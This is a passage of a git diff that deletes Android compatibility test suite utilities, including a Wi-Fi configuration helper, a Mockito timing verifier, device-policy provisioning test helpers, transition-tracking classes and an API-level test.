-import android.content.Intent;
-import android.content.IntentFilter;
-import android.net.ProxyInfo;
-import android.net.Uri;
-import android.net.wifi.WifiConfiguration;
-import android.net.wifi.WifiManager;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * A simple activity to create and manage wifi configurations.
- */
-public class WifiConfigCreator {
-    public static final String ACTION_CREATE_WIFI_CONFIG =
-            "com.android.compatibility.common.util.CREATE_WIFI_CONFIG";
-    public static final String ACTION_UPDATE_WIFI_CONFIG =
-            "com.android.compatibility.common.util.UPDATE_WIFI_CONFIG";
-    public static final String ACTION_REMOVE_WIFI_CONFIG =
-            "com.android.compatibility.common.util.REMOVE_WIFI_CONFIG";
-    public static final String EXTRA_NETID = "extra-netid";
-    public static final String EXTRA_SSID = "extra-ssid";
-    public static final String EXTRA_SECURITY_TYPE = "extra-security-type";
-    public static final String EXTRA_PASSWORD = "extra-password";
-
-    public static final int SECURITY_TYPE_NONE = 1;
-    public static final int SECURITY_TYPE_WPA = 2;
-    public static final int SECURITY_TYPE_WEP = 3;
-
-    private static final String TAG = "WifiConfigCreator";
-
-    private static final long ENABLE_WIFI_WAIT_SEC = 10L;
-
-    private final Context mContext;
-    private final WifiManager mWifiManager;
-
-    public WifiConfigCreator(Context context) {
-        mContext = context;
-        mWifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
-    }
-
-    /**
-     * Adds a new WiFi network.
-     * @return network id or -1 in case of error
-     */
-    public int addNetwork(String ssid, boolean hidden, int securityType,
-            String password) throws InterruptedException, SecurityException {
-        checkAndEnableWifi();
-
-        WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password);
-
-        int netId = mWifiManager.addNetwork(wifiConf);
-
-        if (netId != -1) {
-            mWifiManager.enableNetwork(netId, true);
-        } else {
-            Log.w(TAG, "Unable to add SSID '" + ssid + "': netId = " + netId);
-        }
-        return netId;
-    }
-
-    /**
-     * Adds a new wifiConfiguration with OPEN security type, and the given pacProxy
-     * verifies that the proxy is added by getting the configuration back, and checking it.
-     * @return returns the PAC proxy URL after adding the network and getting it from WifiManager
-     * @throws IllegalStateException if any of the WifiManager operations fail
-     */
-    public String addHttpProxyNetworkVerifyAndRemove(String ssid, String pacProxyUrl)
-            throws IllegalStateException {
-        String retrievedPacProxyUrl = null;
-        int netId = -1;
-        try {
-            WifiConfiguration conf = createConfig(ssid, false, SECURITY_TYPE_NONE, null);
-            if (pacProxyUrl != null) {
-                conf.setHttpProxy(ProxyInfo.buildPacProxy(Uri.parse(pacProxyUrl)));
-            }
-            netId = mWifiManager.addNetwork(conf);
-            if (netId == -1) {
-                throw new IllegalStateException("Failed to addNetwork: " + ssid);
-            }
-            for (final WifiConfiguration w : mWifiManager.getConfiguredNetworks()) {
-                if (w.SSID.equals(ssid)) {
-                    conf = w;
-                    break;
-                }
-            }
-            if (conf == null) {
-                throw new IllegalStateException("Failed to get WifiConfiguration for: " + ssid);
-            }
-            Uri pacProxyFileUri = null;
-            ProxyInfo httpProxy = conf.getHttpProxy();
-            if (httpProxy != null) pacProxyFileUri = httpProxy.getPacFileUrl();
-            if (pacProxyFileUri != null) {
-                retrievedPacProxyUrl = conf.getHttpProxy().getPacFileUrl().toString();
-            }
-            if (!mWifiManager.removeNetwork(netId)) {
-                throw new IllegalStateException("Failed to remove WifiConfiguration: " + ssid);
-            }
-        } finally {
-            mWifiManager.removeNetwork(netId);
-        }
-        return retrievedPacProxyUrl;
-    }
-
-    /**
-     * Updates a new WiFi network.
-     * @return network id (may differ from original) or -1 in case of error
-     */
-    public int updateNetwork(WifiConfiguration wifiConf, String ssid, boolean hidden,
-            int securityType, String password) throws InterruptedException, SecurityException {
-        checkAndEnableWifi();
-        if (wifiConf == null) {
-            return -1;
-        }
-
-        WifiConfiguration conf = createConfig(ssid, hidden, securityType, password);
-        conf.networkId = wifiConf.networkId;
-
-        int newNetId = mWifiManager.updateNetwork(conf);
-
-        if (newNetId != -1) {
-            mWifiManager.saveConfiguration();
-            mWifiManager.enableNetwork(newNetId, true);
-        } else {
-            Log.w(TAG, "Unable to update SSID '" + ssid + "': netId = " + newNetId);
-        }
-        return newNetId;
-    }
-
-    /**
-     * Updates a new WiFi network.
-     * @return network id (may differ from original) or -1 in case of error
-     */
-    public int updateNetwork(int netId, String ssid, boolean hidden,
-            int securityType, String password) throws InterruptedException, SecurityException {
-        checkAndEnableWifi();
-
-        WifiConfiguration wifiConf = null;
-        List<WifiConfiguration> configs = mWifiManager.getConfiguredNetworks();
-        for (WifiConfiguration config : configs) {
-            if (config.networkId == netId) {
-                wifiConf = config;
-                break;
-            }
-        }
-        return updateNetwork(wifiConf, ssid, hidden, securityType, password);
-    }
-
-    public boolean removeNetwork(int netId) {
-        return mWifiManager.removeNetwork(netId);
-    }
-
-    /**
-     * Creates a WifiConfiguration set up according to given parameters
-     * @param ssid SSID of the network
-     * @param hidden Is SSID not broadcast?
-     * @param securityType One of {@link #SECURITY_TYPE_NONE}, {@link #SECURITY_TYPE_WPA} or
-     *                     {@link #SECURITY_TYPE_WEP}
-     * @param password Password for WPA or WEP
-     * @return Created configuration object
-     */
-    private WifiConfiguration createConfig(String ssid, boolean hidden, int securityType,
-            String password) {
-        WifiConfiguration wifiConf = new WifiConfiguration();
-        if (!TextUtils.isEmpty(ssid)) {
-            wifiConf.SSID = '"' + ssid + '"';
-        }
-        wifiConf.status = WifiConfiguration.Status.ENABLED;
-        wifiConf.hiddenSSID = hidden;
-        switch (securityType) {
-            case SECURITY_TYPE_NONE:
-                wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
-                break;
-            case SECURITY_TYPE_WPA:
-                updateForWPAConfiguration(wifiConf, password);
-                break;
-            case SECURITY_TYPE_WEP:
-                updateForWEPConfiguration(wifiConf, password);
-                break;
-        }
-        return wifiConf;
-    }
-
-    private void updateForWPAConfiguration(WifiConfiguration wifiConf, String wifiPassword) {
-        wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.WPA_PSK);
-        if (!TextUtils.isEmpty(wifiPassword)) {
-            wifiConf.preSharedKey = '"' + wifiPassword + '"';
-        }
-    }
-
-    private void updateForWEPConfiguration(WifiConfiguration wifiConf, String password) {
-        wifiConf.allowedKeyManagement.set(WifiConfiguration.KeyMgmt.NONE);
-        wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.OPEN);
-        wifiConf.allowedAuthAlgorithms.set(WifiConfiguration.AuthAlgorithm.SHARED);
-        if (!TextUtils.isEmpty(password)) {
-            int length = password.length();
-            if ((length == 10 || length == 26
-                    || length == 58) && password.matches("[0-9A-Fa-f]*")) {
-                wifiConf.wepKeys[0] = password;
-            } else {
-                wifiConf.wepKeys[0] = '"' + password + '"';
-            }
-            wifiConf.wepTxKeyIndex = 0;
-        }
-    }
-
-    private void checkAndEnableWifi() throws InterruptedException {
-        final CountDownLatch enabledLatch = new CountDownLatch(1);
-
-        // Register a change receiver first to pick up events between isEnabled and setEnabled
-        final BroadcastReceiver watcher = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                if (intent.getIntExtra(EXTRA_WIFI_STATE, -1) == WIFI_STATE_ENABLED) {
-                    enabledLatch.countDown();
-                }
-            }
-        };
-
-        mContext.registerReceiver(watcher, new IntentFilter(WifiManager.WIFI_STATE_CHANGED_ACTION));
-        try {
-            // In case wifi is not already enabled, wait for it to come up
-            if (!mWifiManager.isWifiEnabled()) {
-                SystemUtil.runShellCommand("svc wifi enable");
-                enabledLatch.await(ENABLE_WIFI_WAIT_SEC, TimeUnit.SECONDS);
-            }
-        } finally {
-            mContext.unregisterReceiver(watcher);
-        }
-    }
-}
-
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/Within.java b/common/device-side/util/src/com/android/compatibility/common/util/Within.java
deleted file mode 100644
index 4d9ff80..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/Within.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import android.os.SystemClock;
-
-import org.mockito.Mockito;
-import org.mockito.exceptions.base.MockitoAssertionError;
-import org.mockito.internal.verification.api.VerificationData;
-import org.mockito.invocation.Invocation;
-import org.mockito.verification.VerificationMode;
-
-import java.util.List;
-
-/**
- * Custom verification mode that allows waiting for the specific invocation to happen within
- * a certain time interval. Not that unlike {@link Mockito#timeout(int)}, this mode will not
- * return early and throw exception if the expected method was called with a different set of
- * parameters before the call that we're waiting for.
- */
-public class Within implements VerificationMode {
-    private static final long TIME_SLICE = 50;
-    private final long mTimeout;
-
-    public Within(long timeout) {
-        mTimeout = timeout;
-    }
-
-    @Override
-    public void verify(VerificationData data) {
-        long timeout = mTimeout;
-        MockitoAssertionError errorToRethrow = null;
-        // Loop in the same way we do in PollingCheck, sleeping and then testing for the target
-        // invocation
-        while (timeout > 0) {
-            SystemClock.sleep(TIME_SLICE);
-
-            try {
-                final List<Invocation> actualInvocations = data.getAllInvocations();
-                // Iterate over all invocations so far to see if we have a match
-                for (Invocation invocation : actualInvocations) {
-                    if (data.getWanted().matches(invocation)) {
-                        // Found our match within our timeout. Mark all invocations as verified
-                        markAllInvocationsAsVerified(data);
-                        // and return
-                        return;
-                    }
-                }
-            } catch (MockitoAssertionError assertionError) {
-                errorToRethrow = assertionError;
-            }
-
-            timeout -= TIME_SLICE;
-        }
-
-        if (errorToRethrow != null) {
-            throw errorToRethrow;
-        }
-
-        throw new MockitoAssertionError(
-                "Timed out while waiting " + mTimeout + "ms for " + data.getWanted().toString());
-    }
-
-    // TODO: Uncomment once upgraded to 2.7.13
-    // @Override
-    public VerificationMode description(String description) {
-        // Return this for now.
-        // TODO: Return wrapper once upgraded to 2.7.13
-        return this;
-    }
-
-    private void markAllInvocationsAsVerified(VerificationData data) {
-        for (Invocation invocation : data.getAllInvocations()) {
-            invocation.markVerified();
-            data.getWanted().captureArgumentsFrom(invocation);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
deleted file mode 100644
index 2fdb26b..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/IBooleanCallback.aidl
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.devicepolicy.provisioning;
-
-interface IBooleanCallback {
-    oneway void onResult(boolean result);
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
deleted file mode 100644
index 05edf1a..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/SilentProvisioningTestManager.java
+++ /dev/null
@@ -1,179 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.devicepolicy.provisioning;
-
-import static android.app.admin.DevicePolicyManager.ACTION_MANAGED_PROFILE_PROVISIONED;
-import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE;
-import static android.content.Intent.ACTION_MANAGED_PROFILE_ADDED;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.uiautomator.UiDevice;
-import android.util.Log;
-
-import com.android.compatibility.common.util.BlockingBroadcastReceiver;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class SilentProvisioningTestManager {
-    private static final long TIMEOUT_SECONDS = 120L;
-    private static final String TAG = "SilentProvisioningTest";
-
-    private final LinkedBlockingQueue<Boolean> mProvisioningResults = new LinkedBlockingQueue(1);
-
-    private final IBooleanCallback mProvisioningResultCallback = new IBooleanCallback.Stub() {
-        @Override
-        public void onResult(boolean result) {
-            try {
-                mProvisioningResults.put(result);
-            } catch (InterruptedException e) {
-                Log.e(TAG, "IBooleanCallback.callback", e);
-            }
-        }
-    };
-
-    private final Context mContext;
-    private Intent mReceivedProfileProvisionedIntent;
-
-    public SilentProvisioningTestManager(Context context) {
-        mContext = context.getApplicationContext();
-    }
-
-    public Intent getReceviedProfileProvisionedIntent() {
-        return mReceivedProfileProvisionedIntent;
-    }
-
-    public boolean startProvisioningAndWait(Intent provisioningIntent) throws InterruptedException {
-        wakeUpAndDismissInsecureKeyguard();
-        mContext.startActivity(getStartIntent(provisioningIntent));
-        Log.i(TAG, "startActivity with intent: " + provisioningIntent);
-
-        if (ACTION_PROVISION_MANAGED_PROFILE.equals(provisioningIntent.getAction())) {
-            return waitManagedProfileProvisioning();
-        } else {
-            return waitDeviceOwnerProvisioning();
-        }
-    }
-
-    private boolean waitDeviceOwnerProvisioning() throws InterruptedException {
-        return pollProvisioningResult();
-    }
-
-    private boolean waitManagedProfileProvisioning() throws InterruptedException {
-        BlockingBroadcastReceiver managedProfileProvisionedReceiver =
-                new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_PROVISIONED);
-        BlockingBroadcastReceiver managedProfileAddedReceiver =
-                new BlockingBroadcastReceiver(mContext, ACTION_MANAGED_PROFILE_ADDED);
-        try {
-            managedProfileProvisionedReceiver.register();
-            managedProfileAddedReceiver.register();
-
-            if (!pollProvisioningResult()) {
-                return false;
-            }
-
-            mReceivedProfileProvisionedIntent =
-                    managedProfileProvisionedReceiver.awaitForBroadcast();
-            if (mReceivedProfileProvisionedIntent == null) {
-                Log.i(TAG, "managedProfileProvisionedReceiver.awaitForBroadcast(): failed");
-                return false;
-            }
-
-            if (managedProfileAddedReceiver.awaitForBroadcast() == null) {
-                Log.i(TAG, "managedProfileAddedReceiver.awaitForBroadcast(): failed");
-                return false;
-            }
-        } finally {
-            managedProfileProvisionedReceiver.unregisterQuietly();
-            managedProfileAddedReceiver.unregisterQuietly();
-        }
-        return true;
-    }
-
-    private boolean pollProvisioningResult() throws InterruptedException {
-        Boolean result = mProvisioningResults.poll(TIMEOUT_SECONDS, TimeUnit.SECONDS);
-        if (result == null) {
-            Log.i(TAG, "ManagedProvisioning doesn't return result within "
-                    + TIMEOUT_SECONDS + " seconds ");
-            return false;
-        }
-
-        if (!result) {
-            Log.i(TAG, "Failed to provision");
-            return false;
-        }
-        return true;
-    }
-
-    private Intent getStartIntent(Intent intent) {
-        final Bundle bundle = new Bundle();
-        bundle.putParcelable(Intent.EXTRA_INTENT, intent);
-        bundle.putBinder(StartProvisioningActivity.EXTRA_BOOLEAN_CALLBACK,
-                mProvisioningResultCallback.asBinder());
-        return new Intent(mContext, StartProvisioningActivity.class)
-                .putExtras(bundle)
-                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-    }
-
-    private static void wakeUpAndDismissInsecureKeyguard() {
-        try {
-            UiDevice uiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-            uiDevice.wakeUp();
-            uiDevice.pressMenu();
-        } catch (RemoteException e) {
-            Log.e(TAG, "wakeUpScreen", e);
-        }
-    }
-
-    private static class BlockingReceiver extends BroadcastReceiver {
-
-        private final CountDownLatch mLatch = new CountDownLatch(1);
-        private final Context mContext;
-        private final String mAction;
-        private Intent mReceivedIntent;
-
-        private BlockingReceiver(Context context, String action) {
-            mContext = context;
-            mAction = action;
-            mReceivedIntent = null;
-        }
-
-        public void register() {
-            mContext.registerReceiver(this, new IntentFilter(mAction));
-        }
-
-        public boolean await() throws InterruptedException {
-            return mLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
-        }
-
-        public Intent getReceivedIntent() {
-            return mReceivedIntent;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            mReceivedIntent = intent;
-            mLatch.countDown();
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
deleted file mode 100644
index 4a98794..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/devicepolicy/provisioning/StartProvisioningActivity.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.devicepolicy.provisioning;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.RemoteException;
-import android.util.Log;
-import android.view.WindowManager;
-
-/**
- * Must register it in AndroidManifest.xml
- * <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"></activity>
- */
-public class StartProvisioningActivity extends Activity {
-    private static final int REQUEST_CODE = 1;
-    private static final String TAG = "StartProvisionActivity";
-
-    public static final String EXTRA_BOOLEAN_CALLBACK = "EXTRA_BOOLEAN_CALLBACK";
-
-    IBooleanCallback mResultCallback;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        // Reduce flakiness of the test
-        // Show activity on top of keyguard
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
-        // Turn on screen to prevent activity being paused by system
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
-
-        mResultCallback = IBooleanCallback.Stub.asInterface(
-                getIntent().getExtras().getBinder(EXTRA_BOOLEAN_CALLBACK));
-        Log.i(TAG, "result callback class name " + mResultCallback);
-
-        // Only provision it if the activity is not re-created
-        if (savedInstanceState == null) {
-            Intent provisioningIntent = getIntent().getParcelableExtra(Intent.EXTRA_INTENT);
-
-            startActivityForResult(provisioningIntent, REQUEST_CODE);
-            Log.i(TAG, "Start provisioning intent");
-        }
-    }
-
-    @Override
-    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
-        if (requestCode == REQUEST_CODE) {
-            try {
-                boolean result = resultCode == RESULT_OK;
-                mResultCallback.onResult(result);
-                Log.i(TAG, "onActivityResult result: " + result);
-            } catch (RemoteException e) {
-                Log.e(TAG, "onActivityResult", e);
-            }
-        } else {
-            super.onActivityResult(requestCode, resultCode, data);
-        }
-    }
-}
\ No newline at end of file
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java
deleted file mode 100644
index 7c53921..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/transition/TargetTracking.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.transition;
-
-import android.graphics.Rect;
-import android.view.View;
-
-import java.util.ArrayList;
-
-public interface TargetTracking {
-    ArrayList<View> getTrackedTargets();
-    void clearTargets();
-    Rect getCapturedEpicenter();
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java
deleted file mode 100644
index 55b235d..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingTransition.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.transition;
-
-import android.animation.Animator;
-import android.graphics.Rect;
-import android.transition.Transition;
-import android.transition.TransitionValues;
-import android.view.View;
-import android.view.ViewGroup;
-
-import java.util.ArrayList;
-
-/**
- * A transition that tracks which targets are applied to it.
- * It will assume any target that it applies to will have differences
- * between the start and end state, regardless of the differences
- * that actually exist. In other words, it doesn't actually check
- * any size or position differences or any other property of the view.
- * It just records the difference.
- * <p>
- * Both start and end value Views are recorded, but no actual animation
- * is created.
- */
-public class TrackingTransition extends Transition implements TargetTracking {
-    public final ArrayList<View> targets = new ArrayList<>();
-    private final Rect[] mEpicenter = new Rect[1];
-    private static String PROP = "tracking:prop";
-    private static String[] PROPS = { PROP };
-
-    @Override
-    public String[] getTransitionProperties() {
-        return PROPS;
-    }
-
-    @Override
-    public void captureStartValues(TransitionValues transitionValues) {
-        transitionValues.values.put(PROP, 0);
-    }
-
-    @Override
-    public void captureEndValues(TransitionValues transitionValues) {
-        transitionValues.values.put(PROP, 1);
-    }
-
-    @Override
-    public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
-            TransitionValues endValues) {
-        if (startValues != null) {
-            targets.add(startValues.view);
-        }
-        if (endValues != null) {
-            targets.add(endValues.view);
-        }
-        Rect epicenter = getEpicenter();
-        if (epicenter != null) {
-            mEpicenter[0] = new Rect(epicenter);
-        } else {
-            mEpicenter[0] = null;
-        }
-        return null;
-    }
-
-    @Override
-    public ArrayList<View> getTrackedTargets() {
-        return targets;
-    }
-
-    @Override
-    public void clearTargets() {
-        targets.clear();
-    }
-
-    @Override
-    public Rect getCapturedEpicenter() {
-        return mEpicenter[0];
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java b/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
deleted file mode 100644
index 8a5a19e..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util.transition;
-
-import android.animation.Animator;
-import android.graphics.Rect;
-import android.transition.TransitionValues;
-import android.transition.Visibility;
-import android.view.View;
-import android.view.ViewGroup;
-
-import java.util.ArrayList;
-
-/**
- * Visibility transition that tracks which targets are applied to it.
- * This transition does no animation.
- */
-public class TrackingVisibility extends Visibility implements TargetTracking {
-    public final ArrayList<View> targets = new ArrayList<>();
-    private final Rect[] mEpicenter = new Rect[1];
-
-    @Override
-    public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
-            TransitionValues endValues) {
-        targets.add(endValues.view);
-        Rect epicenter = getEpicenter();
-        if (epicenter != null) {
-            mEpicenter[0] = new Rect(epicenter);
-        } else {
-            mEpicenter[0] = null;
-        }
-        return null;
-    }
-
-    @Override
-    public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
-            TransitionValues endValues) {
-        targets.add(startValues.view);
-        Rect epicenter = getEpicenter();
-        if (epicenter != null) {
-            mEpicenter[0] = new Rect(epicenter);
-        } else {
-            mEpicenter[0] = null;
-        }
-        return null;
-    }
-
-    @Override
-    public ArrayList<View> getTrackedTargets() {
-        return targets;
-    }
-
-    @Override
-    public void clearTargets() {
-        targets.clear();
-    }
-
-    @Override
-    public Rect getCapturedEpicenter() {
-        return mEpicenter[0];
-    }
-}
diff --git a/common/device-side/util/tests/Android.bp b/common/device-side/util/tests/Android.bp
deleted file mode 100644
index 2abba37..0000000
--- a/common/device-side/util/tests/Android.bp
+++ /dev/null
@@ -1,28 +0,0 @@
-// Copyright (C) 2015 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-java_test {
-    name: "compatibility-device-util-tests",
-
-    srcs: ["src/**/*.java"],
-
-    static_libs: [
-        "compatibility-device-util",
-        "junit",
-        "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
-        "truth-prebuilt"
-    ],
-
-    sdk_version: "test_current",
-}
diff --git a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
deleted file mode 100644
index 13305c3..0000000
--- a/common/device-side/util/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package com.android.compatibility.common.util;
-
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.assertFalse;
-import static junit.framework.Assert.assertTrue;
-
-import android.os.Build;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for {@line ApiLevelUtil}.
- */
-@RunWith(AndroidJUnit4.class)
-public class ApiLevelUtilTest {
-
-    @Test
-    public void testComparisonByInt() throws Exception {
-        int version = Build.VERSION.SDK_INT;
-
-        assertFalse(ApiLevelUtil.isBefore(version - 1));
-        assertFalse(ApiLevelUtil.isBefore(version));
-        assertTrue(ApiLevelUtil.isBefore(version + 1));
-
-        assertTrue(ApiLevelUtil.isAfter(version - 1));
-        assertFalse(ApiLevelUtil.isAfter(version));
-        assertFalse(ApiLevelUtil.isAfter(version + 1));
-
-        assertTrue(ApiLevelUtil.isAtLeast(version - 1));
-        assertTrue(ApiLevelUtil.isAtLeast(version));
-        assertFalse(ApiLevelUtil.isAtLeast(version + 1));
-
-        assertFalse(ApiLevelUtil.isAtMost(version - 1));
-        assertTrue(ApiLevelUtil.isAtMost(version));
-        assertTrue(ApiLevelUtil.isAtMost(version + 1));
-    }
-
-    @Test
-    public void testComparisonByString() throws Exception {
-        // test should pass as long as device SDK version is at least 12
-        assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
-        assertTrue(ApiLevelUtil.isAtLeast("12"));
-    }
-
-    @Test
-    public void testResolveVersionString() throws Exception {
-        // can only test versions known to the device build
-        assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
-        assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
-        assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
-        assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
-        assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
-        assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
-    }
-
